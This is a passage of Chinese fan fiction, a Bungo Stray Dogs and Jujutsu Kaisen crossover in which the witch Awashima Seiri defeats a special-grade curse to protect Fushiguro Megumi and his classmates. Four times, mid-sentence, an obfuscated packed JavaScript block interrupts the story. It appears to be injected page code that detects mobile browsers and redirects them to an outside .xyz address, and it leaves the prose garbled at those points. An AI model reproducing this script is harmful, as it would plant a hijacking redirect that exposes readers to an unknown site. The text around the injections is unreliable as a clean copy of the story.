中原中也一下子提高了音调:“哈?你是在嘲笑我吗?” 他的表情看起来很不耐烦,但是仔细一瞧耳朵尖都是红的。 淡岛青理:恼羞成怒了呢,中也。 中原中也闷头走路,淡岛青理就在后面一声不吭地跟着。终于,在快要进入镭钵街的时候,中原中也总算是受不住了。 “知道了知道了,留个联系方式总可以了吧?我赚到钱之后就赔给你。” 淡岛青理:“可是你都没工作……” 中原中也握紧了拳头,淡岛青理安静地闭嘴了。 两人交换了联系方式后,中原中也问:“现在你可以走了吧?” 还没等淡岛青理回答,中原中也先听到远处传来了熟悉的说话声。 他用力推了女人一下:“快走。” 等女人一步三回头地走远,刚刚那两道声音的主人也出现在了他面前。 “中也?你怎么在这?”白濑和柚杏出现在中原中也面前。 中原中也皱着眉头反问:“你们呢?不是跟你们说最近很危险,不要随便出门吗?”港口黑手党的走狗正在四处攀咬,小羊们根本没有自保能力,应该在基地里躲好才对。 柚杏满不在乎地说:“不是还有你吗?中也。你肯定会救我们的啊。” 中原中也张了张嘴,到底没能反驳什么。 “对了,”白濑说,“中也你那里还有钱吗?柚杏想买件外套。” 中原中也皱眉:“之前不是给了你们钱吗?” 白濑撇嘴:“那么点钱,大家早就用完了啊。” 中原中也揉了揉眉心,无奈地说:“我现在没有钱。” 白濑不相信:“怎么可能?你不是去打工了吗?” 中原中也瞪大了眼睛。 “白濑!”柚杏打断了他的话。 她扯了扯白濑的衣袖说:“算了,我也不是那么喜欢那件衣服。” “好啦中也,我们回去吧。” 少男少女们推推搡搡地走开了。 不远处的小巷里,旁观了一场戏的淡岛青理走了出来。她摇晃着手中的锥形瓶,脚边躺着一个晕过去的持刀少年。 有意思。 看来在小羊之间也发生过一些有趣的故事啊,真是的,这么有意思的事怎么没有人告诉过她呢? 她将空瓶子丢到晕倒的少年身边,然后理理衣襟向家的方向走去。 · 傍晚时分,太宰治带着一身血回到了家中。 今天森先生的诊所又受到了袭击,他的人间失格是接触生效,森先生处理袭击者的时候他难免被溅上血迹。 “天啊,太宰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874489|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你受伤了吗?”给他开门的淡岛青理轻声惊呼。 太宰治扯了扯嘴角露出一个恶劣的笑容:“不是哦,是别人的血。”他一边说着,一边不着痕迹地观察淡岛青理表情。 只见淡岛青理一脸“那没事了”,带着点埋怨地开口:“森先生怎么这样,都不给你准备换洗的衣服。” 她也不嫌太宰治身上脏,双手推着他进门:“快去洗澡,不要把血蹭到别处哦。” 津美纪和惠不在的时候,家中的卫生都是淡岛青理在打扫,因为太宰治仍然是早出晚归的作息,只不过是把回家的时间提到了晚饭前。 事实证明淡岛青理从前不是不会干,只是不想干而已——她现在把家打理得井井有条。 莉帕替津美纪和惠感到不值,早说了别那么惯着她。 她抱着兔子玩偶对太宰治说:“下次洗干净再回来,知不知道蹭到哪里很难打扫的?” 餐桌上的晚饭是鲫鱼豆腐汤和白灼菜心。 谢天谢地,莉帕的口味并不像她的外表一样完全西化,毕竟淡岛青理还没学会做西餐。 晚饭期间,淡岛青理同太宰治商量了一件事。 “我想去惠的学校看一看。” 多少对咒术师工作的危险程度有所认知的淡岛青理想要去看一眼伏黑惠的近况,总觉得把孩子给五条悟带有点不放心。 当然,这只是其中一个理由。另一个原因是,她在了解咒术高专的过程中发现了一些很有趣的东西。 不过,把孩子给森鸥外带似乎也同样不放心。 “太宰和我一起去好不好?”淡岛青理征求太宰治的意见。 太宰治拒绝了:“森先生说最近有很重要的事情要我帮忙哦。” “哎?”淡岛青理垂着眼戳着碗里的鱼肉,长长的睫毛在眼瞳上打下阴影,“一定要是太宰不可吗?” 太宰治:“森先生人缘那么差,也没有别人可以找了吧?” 淡岛青理无法反驳,气恼地决定连夜给森鸥外报名老年交友大学。 第二天,在目送太宰治拎着便当出门之后,淡岛青理给森鸥外打了个电话。 是的,她已经拥有森鸥外的电话了。 电话那头的男人很意外,毕竟在给出这个号码时他没想到真的会接到淡岛青理的电话。 淡岛青理打电话的目的也很简单,她和莉帕要出一趟远门,所以嘱咐森鸥外照顾太宰治一段时间。 森鸥外听着女人温柔又客气的请求,心里很不是滋味。毕竟,预想中现在占据太宰治监护人位置的应该是他才对。 但他还是保持着笑容,客气地回答:“淡岛夫人请放心,我一定会照看好太宰的。” 得到森鸥外的再三保证,淡岛青理放心地(并不放心)挂掉电话领着莉帕出了门。 当然这次她没有忘记给太宰治留钥匙。她把钥匙放在了隔壁松本小姐那里,毕竟直接给太宰治就只有随波逐流一个结果。 此次的东京之旅仍然只有淡岛青理和莉帕两人,不过说不准这次太宰治又会像上次一样从半路上刷新出来呢? 35.第 35 章 “没关系吗?森鸥外打的可不是什么好主意。” 东京的街道上,莉帕一手抱着珍妮,一手拿着冰激凌,问正在看地图的淡岛青理。 淡岛青理反应很淡定,她正将脸埋在地图里皱着眉头全神贯注地研究路线。 “既然是太宰自己的意愿,我也没办法啊。这个地图怎么回事?根本找不到惠的学校。” 莉帕:“咒术界本来也不会让咒术高专被标注在地图上吧?他们这些搞什么界什么界的不都很喜欢圈地吗?说不定还要在外面套几层结界。” 她张开血盆大口将冰激凌整个塞进嘴里,然后被冰得直跺脚。 “给我看看。” 她腾出的手拿出一片像放大镜一样的装置放在了地图上。镜片不停地在地图上移动,终于在扫过一处山地时出现了反应。 随着装置上的绿光闪烁,一个代表目的地的红叉出现在了地图上。 “红阿博尼?你那里竟然还有存货。”淡岛青理有些惊讶。 这种植物能够挖掘出隐藏的东西,无论是无形的秘密还是深埋的宝藏,所以一直供不应求。她已经很久没能遇见了。 “前几天园艺师小姐在这个世界路过,我跟她买了不少东西,毕竟能遇到非协会魔女的机会可不多。”莉帕说着收起了装置,“好了,现在的问题是我们怎么过去呢?” 她们现在的位置离地图显示的地点还是挺远的,淡岛青理的车又停在了米花,她们现在只有打车一个选项。 然而问题就出在这里,她们走了一路,竟然没看到一辆出租车。 淡岛青理:“这算什么?出租车司机集体罢工事件?” 莉帕翻看手机新闻,无奈地说:“出租车所出事了,有人给警局寄了预告信,说是在大量出租车上藏了炸弹,现在整个区的出租车都停运了。” 淡岛青理眉头紧皱,掏出手机看了一眼自己的位置。这也不是在米花啊? 天空阴云密布,即使不用看天气预报也知道马上就要下雨了,她们要先找个地方避雨吗? 正当两人思考自己是不是犯了什么邪的时候,从马路对面驶过了一辆黑色轿车,半开的车窗里露出的刺猬头分外眼熟。 “那是惠吧?” 莉帕点头:“是他,看来应该是在出任务。” 淡岛青理还没见过伏黑惠出任务的场景,现在有机会怎么能不去看一看呢?她立刻催着莉帕跟上。 莉帕只能提醒她,她们没有车,两条腿就算擦出火花来也追不上人家四个轮子。 淡岛青理给她的回应是从面前的虚空中掏出了一瓶漂浮药剂。 “最近炼制失败的副产物,因为有点用就留下来了,囤了不少。” 莉帕:这个时候又不想着你的普通人人设了?那早干嘛了?! 淡岛青理:“这种时候人设当然没有给惠拍照重要了!” 开往少年院的车上,粉色头发的少年探头看向窗外,“伏黑你刚刚在看什么?有什么东西吗?” “没事。”伏黑惠把他的脑袋拨到一边,别挡在自己眼前。 刚刚他似乎感受到了自己留在淡岛夫人身上的护身符的气息,但是只有一瞬间,他不能确定自己是不是感觉错了。 他条件反射地掏出手机想要查看淡岛夫人的定位,但是又强行止住了。 没有人愿意被别人时刻掌握行踪,哪怕粗线条如淡岛夫人。如果被她知道自己在她身上装了定位器,会生气的吧? 他应该试着戒断了。 …… 淡岛青理掏魔药的动作很果断,但她们仍然比伏黑惠几人晚了半个多小时到达目的地。 究其原因,是作为炼金失败副产物的药剂效果不稳定,两人一番折腾差点撞到飞机。 “我差点就信了你有炼金天赋的说法。”莉帕摘下头顶的鸟毛,金色的双眼失去了高光。 哈哈,她就说地下室为什么总爆炸,害得她三天两头加固法阵,真是信了青理的邪! “外包吧,青理,不管你到底在研究什么,外包吧。魔女协会行不通就去找独行魔女,总比你天天炸地下室强。” 淡岛青理轻咳两声,有些尴尬:“这是意外,莉帕,毕竟是副产物,不能要求太多。下次给你炼几瓶高品质漂浮药剂,效果绝对不差的。” 磕磕绊绊了一路,等两人循着伏黑惠的气息到达目的地时,已经看不到伏黑惠的身影了。 面前陌生的建筑周围罩了一个黑色的罩子,上面咒力流动。 这里是少年院? 淡岛青理对照了一下地图,确定了自己的位置。 “看来你说对了,”她观察着黑色的屏障,“他们真的很喜欢放结界。” 手指触摸到“罩子”的表面,黑色的咒力像水波一样从她指尖荡开,淡岛青理很快就理解了这东西的作用。 这就是“帐”了吧? 她轻轻一用力,手指就毫无阻力地穿过了黑色的屏障。两人相继踏入帐内,来到了空空荡荡的少年院。 “这里的人应该已经被疏散了。”莉帕抱着玩偶环顾四周。 “帐”从里面看也是黑色的,隔绝了阳光——虽然今天本来也没有阳光。 昏暗的环境和空荡荡的建筑营造出了一种阴森感,仿佛随时会有丧尸从屋子里爬出来,最近又看了不少恐怖片的莉帕打了个哆嗦抱紧玩偶。 淡岛青理皱起眉。 风中飘散着淡淡的血腥味,还混杂着一股令人作呕的味道。她感受到了伏黑惠几人的气息,被隔绝在那层腐臭味之下,似有若无。 “生得领域。”淡岛青理面色冰冷。 她对咒术界的了解不多,但也知道能开生得领域的咒灵怎么看都不是三个一年级学生能对付的。 有人在设计陷害他们。 · 此时的领域里,正上演着一出猫捉老鼠的戏码。 虎杖悠仁咽下一口血沫,感受到五脏六腑传来的疼痛,意识到或许这次他真的要栽在这里了。对面的特级咒灵笑得嚣张且得意,它还没有使出全力,仅仅是戏弄一般的攻击就让他身负重伤。 他没有想过自己会死在这里。明明说好的是未孵化的咒胎,明明他们只是来解救遇难者,怎么会变成了现在这个样子。 绝对不能战斗,遭遇特级时只有“逃跑”和“死亡”二选一。 辅助监督的话还回荡在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878900|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑海里,可是要逃跑哪有那么容易? 碾压式的对手,被分散的同伴,死掉的玉犬。他第一次感觉到自己是如此的无能和弱小。 尽管很不甘心,但是他知道,现在他能依仗的只有两面宿傩了。 让伏黑带着钉崎离开,他来拖住咒灵,等伏黑和钉崎离开他就释放体内的宿傩,这是唯一可行的方法。 可是,好痛啊。 好痛啊! 失去了手指的肢体末端不断向大脑发送神经信号,无法用言语形容的痛楚撕扯着他的大脑。昔日的回忆纷纷涌来,他将恐惧,憎恶与后悔灌注在拳头中,打出了全力一击。 然而这一拳被咒灵轻松接下了。 哈,到此为止了吗? 远处传来了模糊的狼嚎声,虎杖悠人猛地抬起头。那是伏黑和他约定的暗号!伏黑他们逃出去了! 他长舒了一口气,闭上眼睛。 现在能打败这个咒灵的,只有两面宿傩了。 黑色的咒力纹路开始从他的脸颊上浮现,他将思绪下沉,打算把身体交给宿傩。 然而一阵劲风袭来,后颈突然一痛。 他的意识猛然清醒了一瞬—— 不是,谁在这个时候搞偷袭啊?! 少年面上的纹路褪去,轰然倒地,带起的风扬起了一缕发丝。 身着红色长裙披散着长发的女人一手接住了咒灵戴天袭来的拳头,使得咒灵无论如何也动弹不得,另一只手则抱着一只沉眠的白色玉犬。 她看向咒灵的眼底泛着红光,语气冰冷中带着隐隐的怒火:“你以为,你打的是谁的狗?” 紫色的法阵在两人交握的双手间闪烁了一下,随着轰的一声巨响,灰白色的身影瞬间倒飞出去砸在另一面的墙壁上,一时间烟尘四起。 她收回手,面色阴沉。 所谓的特级咒灵不知道带了多少水分,在她手里竟然走不过一招。可就是这样一个弱小的家伙,杀死了惠的玉犬,让三个少年人身负重伤甚至险些丢了性命。 烟雾散去,咒灵并没有消失。它高大苍白的躯体镶嵌在墙中,使得墙壁出现了诸多裂纹。 尽管没有被彻底祓除,但那强大的冲击也让它动弹不得。它用尽全身力气抬起头,非人的眼瞳死死盯着女人,不敢移开一下。 会死的。 女人身上传来的恐怖威压让他甚至生不起反抗的心思,自诞生来未逢敌手的它终于明白了什么叫恐惧。 眼见咒灵并没有消失的迹象,淡岛青理不满地“嘁”了一声。 ‘诅咒只能用诅咒祓除’ 淡岛青理对这些乱七八糟的规则感到不耐烦。既然太宰的人间失格能无效化咒力,说明这条规则也不是那么绝对。 诅咒诞生于人类的负面情绪,而恶魔本身就是世间负面情绪的象征。傲慢,贪婪,愤怒,淫/欲,暴食,嫉妒,懒惰,每一种情绪都是人类的原罪。 那么从恶魔那里获取魔力的魔女怎么不算一种诅咒呢? 只是现在的淡岛青理没时间去探寻其中的联系,她将臂弯中白色玉犬放在晕倒的虎杖悠人旁边,然后缓步走向正在努力挣扎把自己从墙壁里拔出来的咒灵。 36.第 36 章 黑色高跟鞋扣地的声音在空旷的空间里带着回响,一下一下敲在人的心上。 淡岛青理一边靠近咒灵,一边将手探入虚空中摸索。随即,一把缠满符咒的巨大镰刀出现在她手中。 “花费了我一亿日元的咒具,正好,拿你开个刀。” 高大的咒灵一声怒吼,从从墙壁中挣脱落在地上。它拖着残破的躯体,长满獠牙的嘴大口大口地呼吸。 恐怖的压迫感充斥着整个领域,那恐怖的气息不仅仅来自那把特级咒具,还来自女人本身。 它跑不掉的。 咒灵戴天拖着被重创的躯体,凝聚全部咒力,向女人发起了攻击。 “拼死反扑?明智的选择。” 灰白色的身影闪电一般袭来,淡岛青理身形一闪消失在原地,再出现时左手伸直用力一甩,紫色的液体从镰刀上滚落。 “嗬……” 在她身后,灰白色的躯体站立在原地,从中间裂成两半,扑通一声倒在地上,最后不甘地消失了。 战斗结束得轻而易举,特级咒灵在她面前如同蝼蚁。 淡岛青理沉默着收起了咒具。 她将视线投向远方,似乎能透过重重屏障看见少年院外伤痕累累的少年少女。 ——人类,太脆弱了。 为什么要一次次地为了别人冒险呢? 扭曲的念头一闪而过,她走到墙边抱起了昏迷的虎杖悠仁。 “……你怎么了?”莉帕觉得她脸色不太对。 “嗯?没事哦。” 淡岛青理将粉色头发的少年检查了一番,确定伤势不会危及性命,硝子完全可以治疗。 “啊,他的鼻子磕破了,真是的,莉帕你刚刚怎么不扶他一下?” “哈?”银发萝莉抱着玩偶发出质疑的声音,“你在开玩笑吗?他一个可以砸死两个我。” 身材娇小的萝莉还不及少年腿高,这个要求着实有些强人所难了。 “抱歉抱歉,”淡岛青理摸摸鼻子,“我忘记了。” 注意到萝莉不快的神情,她连忙转移话题:“啊,这是什么?” 咒灵消失的地方,躺着一根黑色的干枯树枝一样的东西。她用鞋尖拨弄了一下,那东西就漂浮到了她眼前。 “嗯?这就是两年宿傩的手指?”干枯的手指散发着一股不详的气息,看上去就不是什么好东西。 “魔药科的魔女们应该会很感兴趣吧?” 她们喜欢用各种稀奇古怪的东西熬制魔药,所以淡岛青理非必要不喝魔药。 ——你也不想某天被人告知喝过的药里有老鼠干吧? “只有一根吗?再多来几根的话我倒是可以偷渡到魔药科的魔女集会上去卖,只有一根似乎还不值得我冒这个风险。”淡岛青理顺手将东西收入囊中,打算找个机会偷偷交易出去。 不过,这东西的味道有点熟悉。在她出现的时候,这个粉色头发少年的身上散发了同样的味道。 “你看见了吧?他脸上浮现的奇怪花纹。”黑色的花纹只在少年脸上浮现了一瞬就消失了,但是那股腐臭味让淡岛青理记忆深刻。 莉帕对咒术界的了解并不比她多,此时也难以给出答复。 不过这都不重要,现在的首要问题是,她们应该怎么把这个少年送回去。 生得领域随着咒灵戴天的死亡慢慢消散了,淡岛青理感受到了惠的气息。 “他还没有离开,把这个少年放在门口吧。生得领域消散,他会回来的。” · 昏暗的天空终于飘落了雨丝,本就沉重的气氛更显阴郁。 伏黑惠将钉崎野蔷薇放到车子后座上,让辅助监督送她去医院。伊地知洁高放心不下他,表示自己很快回来。 “请叫一级以上的咒术师来。” 辅助监督的车子驶离了少年院,伏黑惠面色凝重地站在雨中。 虽然统一称为特级咒灵,但是咒灵戴天与两面宿傩之间有天壤之别。情况虽然凶险,但是虎杖能够做到压制两面宿傩,所以只要在两面宿傩杀死这个特级咒灵后重新夺回身体,虎杖就不会有事的。 伏黑惠这么安慰着自己,避免自己去想更糟糕的可能。 少年院宿舍方向的天空有一瞬间扭曲,伏黑惠立刻绷紧了脊背。 生得领域关闭,也就是说特级咒灵被消灭了!接下来,只要等虎杖出来,他们就可以回到高专了。 然而过了一分钟,两分钟,出口处始终没有出现虎杖悠人的身影。 如鼓镭般的心跳似乎砸在伏黑惠的耳膜上,他听见自己耳中响起了一阵嗡鸣。 虎杖…… 少年用力咬了一下舌尖,试图保持冷静。 虎杖可能是被什么事情耽误了,他应该进去找他。 在他下定决心迈步的时候,突然注意到入口处的门后飘过了一道红影。 “什么人?!” 红影一闪而过消失在了门后,速度快得仿佛是他的错觉。 伏黑惠不相信自己看错了,刚刚那里绝对有人在,那个人也绝对不是虎杖!落了“帐”的少年院里为什么还会有别人在?那人是谁? 紧张的情绪在蔓延,伏黑惠不由得想到了到现在还没出来的虎杖悠人。会和那个红色人影有关吗? 他双手扣在一起,将黑色的玉犬召唤出来。 黑色的狗狗出现后先是在原地嗅了嗅,然后突然摇着尾巴撒欢一样冲进了宿舍楼里。 伏黑惠大惊:“玉犬?!” 他顾不上思考玉犬的反常,立刻迈步追了上去。 宿舍楼内,空荡的景象与他们离开时并无不同,那抹红色和玉犬都不见踪影。 怎么回事?玉犬去哪了?他站在大厅内快速环顾四周,突然听到一侧的走廊拐角处传来玉犬呜呜的哼叫声。 在那里! 伏黑惠迅速奔向声音传来的地方,咬紧牙关,血液疯狂上涌。 然而,转过拐角,面前的景象与他想象中完全不一样。 玉犬黑面向前方的空地端正地蹲坐在地上,身后的尾巴疯狂摇摆将地上的灰尘扫出了一个扇形,嘴里还发出哼哼呜呜的撒娇声。 听到主人的声音,玉犬先回头看了他一眼,然后又看了看已经空无一人的走廊,这才站起来小跑着回到他身边。 伏黑惠急促地喘着气,剧烈的心跳还没有完全平静下来。他谨慎地打量着没有人影的走廊,小心地迈动步伐向前走去。 随着他不断前进,走廊尽头逐渐出现了一个躺在地上的人影。 “虎杖?!” …… 咒术高专的医务室里,气氛有些凝重。 出一趟任务差点损失三个学生,五条悟的脸色难看得像今天的天空,乌云密布。 “伊地知,给我一个说法。” 伊地知洁高的脸色并不比他好看,他弯着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881263|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰擦汗,语气充满惶恐:“我交代过他们遇见特级咒灵不要战斗,我没有想到咒胎已经孵化了,对不起,都是我的疏忽!” 病床上躺着的粉发少年听到伊地知挨训了,使劲抬起头向这边张望。 “老实点。”家入硝子一用力将他抬起的脖子按了回去。 与特级咒灵战斗产生的伤已经在反转术式的治疗下痊愈,又经过半个小时的检查,虎杖悠人身上没有任何异常,仍然健壮得像头牛。 家入硝子把外套还给他,一边摘手套一边对五条悟说:“行了,别怪伊地知了,他夹在你和上层之间也很难做。” 一番话感动得伊地知热泪盈眶。 从旁边拿起虎杖悠人的检查报告,家入硝子一边翻看一边说:“从检查结果来看,虎杖身上没有任何异常。没有术式留存的痕迹,身上的伤根据他自己说也都是和那个特级咒灵战斗留下的,哦,除了后颈挨那一下。” 五条悟叉开双腿坐在椅子上,得知虎杖悠人没事后神色好转许多。 他向前探身,手指搓了搓下巴:“悠人你真的不记得了?什么人打了你,又对你做了什么?” 虎杖悠人刚穿好衣服从病床上跳下来活动手脚,闻言眼珠向上思考了好一会儿:“那个……嗯……唔……完全不记得,哈哈。” 当时他只觉得后颈一痛,紧接着就失去了意识,等再醒来的时候就已经是在医务室里了。 那人下手还怪重的,他现在还感觉脖颈处在幻痛。 “对了,伏黑呢?不是说是他把我背回来的吗?他有没有看到什么?” 虎杖悠人的话音刚落,伏黑惠就推门走进来了。他身上的伤也已经被家入硝子治好了,甚至还回宿舍换了一身衣服。 此时他穿着便服,手里拿着手机,似乎在和别人通电话。 “不是不回你消息,是在上课没有看见……真的没有,我一直在学校里,怎么会遇到危险?” 电话那头的人似乎说了什么,伏黑惠抬手揉了揉眉心:“也没有校园霸凌,我的同学没那么无聊。” “没有受欺负,不管怎么说,至少还有五条老师在这里。” “……我知道了,如果被欺负了肯定会和你说的。” 在他的再三保证下,电话终于挂断了,伏黑惠松了口气,对养母的轰炸式关心有些吃不消。 “如果被欺负了肯定会和你说的~” 一道声音突然在耳边响起,身体恢复的钉崎野蔷薇从他身后探出头来,故意矫揉造作地重复他的话。 “呦,没想到你还是个乖宝宝。是谁啊?这么关心你?” 伏黑惠只回答了一句是长辈,接着一个五条悟就丝滑地从两人中间挤了过来。 “挂了?!青理酱就这么挂电话了?我呢?青理酱都没有担心我一下吗?” 看得出来,被忽视了的五条悟有点破防,他伸手就要抢伏黑惠的电话给淡岛青理打回去。 “别闹,”伏黑惠推开他,“要打用你自己的电话打。” 五条悟耍赖被拒,闷闷不乐地坐回原位。 家入硝子看不下去了,说他:“你是小孩子吗?你一天给她发三十条短信,就差把你午饭吃了几粒米告诉她了,你有什么值得担心的?” 五条悟噘嘴:“但我发三十条青理酱只回了我一条!她一定是没看见!” 家入硝子:…… 这人真的一点自知之明都没有吗? 37.第 37 章 不想和五条悟这个大龄儿童争论,家入硝子把话题转移回这次少年院的事情上。 “惠,能把你看到的事情再复述一遍吗?” 伏黑惠点了点头,将有关红色人影以及他如何发现虎杖悠人的事情都说了出来。期间他停顿了一下,跳过了玉犬的异常。 “在把虎杖带出少年宫后我回去看过,咒灵已经被祓除了,现场没有留下任何咒力残秽,不像是两面宿傩干的。” 虎杖悠人举手表示同意,他还没来得及放两面宿傩出来就被人打晕过去了。 钉崎野蔷薇摸着下巴作沉思状:“也就是说,这个突然出现的人不仅避开了我们的耳目进入了帐,而且还打晕了虎杖,帮他祓除了咒灵,顺便还把他送到了出口?这是什么无名英雄的桥段?” 真有这种做好事不留名的家伙吗?感觉不太可能吧? 家入硝子想了想:“重点应该是没有留下残秽吧?难道是使用咒具的普通人?但那可是特级咒灵啊。” “也可能是异能者,”在横滨待过一段时间的伏黑惠补充,“一些异能者攻击力很强,带上咒具应该可以祓除特级咒灵。” 异能者? 多少听过一些的钉崎野蔷薇扬起眉:“那难道不是都市传说吗?” “是真实存在的哦,”五条悟双手插兜,嘴角微微上扬,“具有特殊异能力的异能力者。” 这个世界上有太多不可思议的事情,那些人们以为存在的和不存在的,都有可能变成现实。而很多都市传说往往都从现实中脱胎演化而来。 就像大部分人都不知道世界上存在咒灵一样,咒术师也不一定知道世界上还有没有别的存在。 异能者,王权者,除妖师,驱魔人……世界上超出认知的东西有很多,五条悟也不知道哪些是真哪些是假。但是至少异能者,他确确实实是见过的。 既然五条老师这么说,那多半就是真的有了。 钉崎野蔷薇觉得异能者这个名号比咒术师响亮多了!后者一听就透着阴暗,精神状态堪忧! 她一个箭步凑到虎杖悠人面前,把脸怼到他的鼻尖:“我说,你真的什么都没看到吗?快点给我想!那有可能是异能者啊!” 见她面色凶狠甚至到了狰狞的程度,虎杖悠人连连后退,大脑疯狂运转。 他真的什么都没看到吗?真的吗?快想起来点什么啊! 人的潜力是无限的,在钉崎野蔷薇凶狠的凝视下,虎杖悠人还真想起了一点东西。 “我记得……那个人是长发,黑色的。” 黑色的长发…… 钉琦野蔷薇震声道:“那不就相当于什么都没看见吗?!”黑色长发算个什么特征啊!街上随便一抓就是一大把! 虎杖悠仁摸头尬笑:“哈哈,至少能知道是位女性?” 钉崎野蔷薇灵魂发问:“你凭什么假定他是女的?” 谁说长发就一定是女性啊?不能是留长发的男性吗?退一万步讲,就没可能是个女装大佬吗? 虎杖悠仁无话可说。 被野蔷薇的话勾起了一些回忆,五条悟突然笑了一声。 黑色长发啊,如果杰被人说成是女性的话,会是什么反应呢?大概会笑而不语,然后在背后疯狂给人使绊子吧。 曾经同窗的记忆在脑海中快速闪过,最后定格在小巷里带着血迹的躯体上。 五条悟嘴角的笑容慢慢消失了。 过去的回忆并不全是美好,很多刻意遗忘的事情随之重新涌现。但是五条悟也因此想起来了,他那从刚刚开始就隐隐约约的熟悉感从何而来。 红衣,黑色长发,没有咒力残秽……他在哪里听过这个形容。 “看来应该给忧太打个电话。”双腿交叠坐在椅子上,五条悟若有所思地拿出了手机。 …… 作为咒术界唯二的两所学校之一,东京咒术高专建在森林覆盖的高山上,被天元大人的结界包裹在其中,寻常人难以发现。 此时的结界外,淡岛青理收起了手机,转身向山下走去。 “不去高专了吗?”怀里抱着的白色玉犬正在疯狂摇尾巴,伸长了脖子不停地舔她的脸,莉帕左右闪躲,艰难地发问。 她们此行的目标都在高专内,就这么走了吗?连高专的门都没迈进去呢。 “现在可不是个见面的好时机,我们过两日再来。”淡岛青理解释。 刚刚经历了一场生死危机,又差点承受同伴丧生的痛苦,这些孩子们需要时间平静一下。关于这场危机,相信他们还有很多事要处理,此时不便打扰。 “那么,不去找幕后主使吗?”莉帕仰头。她以为,以青理的性格,会将动了她东西的人通通烧成灰烬。 走在山路上的淡岛青理听到她的疑问,笑得咬牙切齿,带着赌气的意味说:“自作主张的大人可是不讨孩子喜欢的,既然他选择瞒着我,我当然尊重他的选择。” 莉帕撸狗的动作顿了一下,双眸下垂,小声说:“说得好像你出事的时候告诉他了一样。” 对此淡岛青理自有说法:“我没有把惠放在护身符里的定位器扔掉,那就相当于告诉他了啊!” 莉帕无话可说。 怀中的玉犬似乎察觉到了她无语的心情,晃动尾巴发出哼哼唧唧的声音。 莉帕回过神来,不耐烦地啧了一下:“赶紧把这只狗拿走,舔我一脸口水!”又不是她救的它,这么热情干什么?而且它对自己的体型没点数吗?那么大一只,尾巴把她腿都抽青了! 淡岛青理轻笑一声:“不好意思了莉帕,仅存的一点魔力都用来抢救玉犬了,我现在连走路都觉得累。” “那就别逞能啊,干什么非要救这只蠢……”狗。 “嘘——”淡岛青理停下脚步,伸手盖住了玉犬的耳朵,投来了不赞同的目光,“怎么能当着孩子的面说这种话呢?” 莉帕:“……” 她低头,怀里的白色大狗被捂住了耳朵,瞪着金灿灿的兽瞳疑惑地歪头看着她。 莉帕竟然诡异地从一只狗的脸上看出了单纯。 “……好吧,确实是可爱了一点,但是除此之外别无他用。根据十种影法术的效果,白犬死后会由黑犬继承它的能力,相当于二者合为一体。你耗费全身魔力救它完全多此一举。” “多此一举?”淡岛青理直起身,捋了捋头发,“我倒是不这么认为。” “之前我一直在想魔力和咒力的区别。某种程度上来说二者都诞生于恶,虽然这个说法有些片面,但是至少说明二者是有共通之处的,所以我一直在想能不能通过某种手段达成二者的转化。” 下山的台阶很长,她一边走一边讲述自己的猜想。 “自从被魔女协会通缉后,为了隐藏踪迹,我不得不辗转躲藏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15884675|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个小世界中,因此魔力恢复缓慢。如果能将咒力转化成魔力,能做的事情就会多很多。”说着她低头看了一眼女孩毛茸茸的发顶。 “我没有过救人的经验,我只会杀人。但式神与人类不一样,它们依托的不是□□也不是灵魂,而是能量。能量是构筑它们生命的基础,将能量作为丝线,以特定的法则进行编织,就能重新构筑式神。” 莉帕抱着玉犬走在她身侧,一人一狗一齐抬头仰望着她:“你是想说,通过抢救玉犬,你掌握了转换咒力的方法?” 淡岛青理抬眼望天:“哦,那倒没有。” “……”那你叭叭个什么啊?! “但是我发现了一件很有意思的事情。”淡岛青理一边说着,一边缓缓抬起纤长的手指。 “玉犬作为惠的式神,二者之间以惠的咒力作为桥梁形成连接,支撑玉犬行动的是惠的咒力。我用自己的魔力给玉犬白构筑了新的躯体,我的魔力作为流动的纽带沟通了我和玉犬白体内的能量。而根据十影法的运行规则,在玉犬白死后,他的能量会回流向惠,然后由玉犬黑继承。也就是说……” “啪——” 